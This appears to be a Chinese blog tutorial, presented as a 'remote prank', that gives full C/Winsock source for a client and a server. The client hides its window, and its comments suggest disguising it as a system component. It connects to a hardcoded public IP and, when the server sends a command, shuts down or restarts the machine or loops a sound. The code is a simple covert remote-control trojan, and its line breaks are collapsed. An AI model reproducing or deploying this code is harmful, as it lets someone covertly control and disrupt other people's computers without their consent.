【远程恶搞】
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
远程恶搞
- 前言
- 远程恶搞原理: 分为服务器端和客户端,运行服务器端后,运行客户端可以连接服务器端,当前采取的是服务器端创建一个套接字和端口号,类似于战争时期的那个电报,客户端连接服务器端创建的,从而实现一个简单的远程通讯。
- 一、服务器端和客户端分别是什么是什么?
- 二、使用步骤
- 1.引入库
- 2.读入数据
- 总结
前言
提示:这里可以添加本文要记录的大概内容:
远程恶搞原理:
分为服务器端和客户端,运行服务器端后,运行客户端可以连接服务器端,当前采取的是服务器端创建一个套接字和端口号,类似于战争时期的那个电报,客户端连接服务器端创建的,从而实现一个简单的远程通讯。
提示:以下是本篇文章正文内容,下面案例可供参考
一、服务器端和客户端分别是什么是什么?
服务器端:类似于一个服务器,就像你打的游戏一样,你和你的队友实现连接其实就是你俩连接在了同一类服务器端,从而共享和交换了游戏数据,部分游戏外挂也是根据这个原理开发的。
客户端:你和你的队友和对手在登录游戏时连接的都是对应的游戏的服务器,从而实现联网游戏。
二、使用步骤
1.引入库
往后看你会发现服务器端和客户端的基础头尾都是一样的:
/*客户端新建一个头文件,把这个写进去,然后引用这个头文件*/
//{{NO_DEPENDENCIES}}
// Microsoft Visual C++ 生成的包含文件。
// 供 远程控制client.rc 使用
//
#define IDR_WAVE1 101// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 102
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif
2.读入数据
代码如下(示例):
先上客户端代码:
#include <stdio.h>
#include "resource.h"
#include <winsock2.h> //套接字头文件
#include <mmsystem.h>
#pragma comment(lib,"ws2_32.lib") //库文件
#pragma comment(lib,"winmm.lib")//关机 开机自启
//删除 拷贝一份随便找一个地方
//任务管理器 表白程序.exe --> windows system32 网络核心驱动组件//隐藏控制台的代码 点击完了啥也看不到。
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" ) // 设置入口地址int main()
{//1.程序开始的时候 初始化网络资源WSADATA wsaData;WSAStartup(MAKEWORD(2, 2), &wsaData);//准备一个电话SOCKET hSock = socket(PF_INET, SOCK_STREAM, 0);//准备对方电话号码SOCKADDR_IN servAdr;servAdr.sin_family = AF_INET; //IPV4//servAdr.sin_addr.s_addr = inet_addr("127.0.0.1"); //IP地址//servAdr.sin_addr.s_addr = inet_addr("192.168.0.153"); //IP地址servAdr.sin_addr.s_addr = inet_addr("82.156.192.120");servAdr.sin_port = htons(16888); //端口 0-1024(不能给)//拨号 项目-属性-C/C++ SDL检查改成否。while(1){if (connect(hSock, (SOCKADDR*)&servAdr, sizeof(servAdr)) == SOCKET_ERROR)continue;elsebreak;}//开始对话 在吗char buf[32] = { 0 };while (1){recv(hSock, buf, 32, 0); //听 我听int ret = atoi(buf); //字符串转化成数字if (ret == 1) {send(hSock, "Q", sizeof("Q"), 0); //回复说 搞定了 退出电脑已近关闭了system("shutdown -s -t 1"); //60秒之后关机}else if (ret == 2) {send(hSock, "Q", sizeof("Q"), 0); //回复说 搞定了 退出电脑已近关闭了说system("shutdown -r -t 1"); //60秒之后关机}else if (ret == 3) {send(hSock, "Y", sizeof("Y"), 0);PlaySound((LPCWSTR)IDR_WAVE1,NULL,SND_RESOURCE|SND_LOOP|SND_ASYNC);}else if (ret == 4) {send(hSock, "Q", sizeof("Q"), 0); //回复说 搞定了 退出电脑已近关闭了说break;}}//2.程序结束的时候 释放网络资源WSACleanup();return 0;
}
接下来上服务器端代码:
#include <stdio.h>
#include <winsock2.h> //套接字头文件
#pragma comment(lib,"ws2_32.lib") //库文件int main()
{//1.程序开始的时候 初始化网络资源WSADATA wsaData;WSAStartup(MAKEWORD(2,2),&wsaData);//准备一个电话机 套接字(socket)SOCKET hServSock = socket(PF_INET, SOCK_STREAM, 0); //分配电话号码 IP地址 端口号SOCKADDR_IN servAdr = {0};servAdr.sin_family = AF_INET; //IPV4servAdr.sin_addr.s_addr = htonl(INADDR_ANY); //IP地址servAdr.sin_port = htons(16888); //端口 0-1024(不能给)bind(hServSock, (SOCKADDR*) & servAdr, sizeof(servAdr));//激活联网 开启监听listen(hServSock,5);//准备接听 要不要来电显示?SOCKADDR_IN clntAdr = {0}; int clntAdrSz = sizeof(clntAdr);SOCKET hsock;char buf[32] = {0}; //准备一个空字符串while (1){system("cls");printf("等待连接中....\n");hsock = accept(hServSock, (SOCKADDR*)&clntAdr, &clntAdrSz);int choise; while (1){system("cls");printf("有人连上来了\n");printf("1.关机\n");printf("2.重启\n");printf("3.O泡果奶\n");printf("4.退出客户端\n");scanf("%d", &choise); //1 2 3 4 5_itoa(choise, buf, 10); //把输入的数据choise转换成字符串send(hsock, buf, 32, 0); //把buf 1 说(发送)//接受对方的回复recv(hsock, buf, 32, 0);if (!strcmp(buf, "Q")){printf("对方已经下线\n");system("pause"); //按任意键继续closesocket(hsock);break;}if (!strcmp(buf, "Y")){printf("操作已经执行!\n");system("pause"); //按任意键继续continue;}}}//2.程序结束的时候 释放网络资源WSACleanup();return 0;
}
总结
温馨提示:这里对文章进行总结:
/*C/C++ 很刑 很有判头C/C++ 幻想。C/C++语法 数据结构 网络 数据库 内核 mfc qt*/
发布评论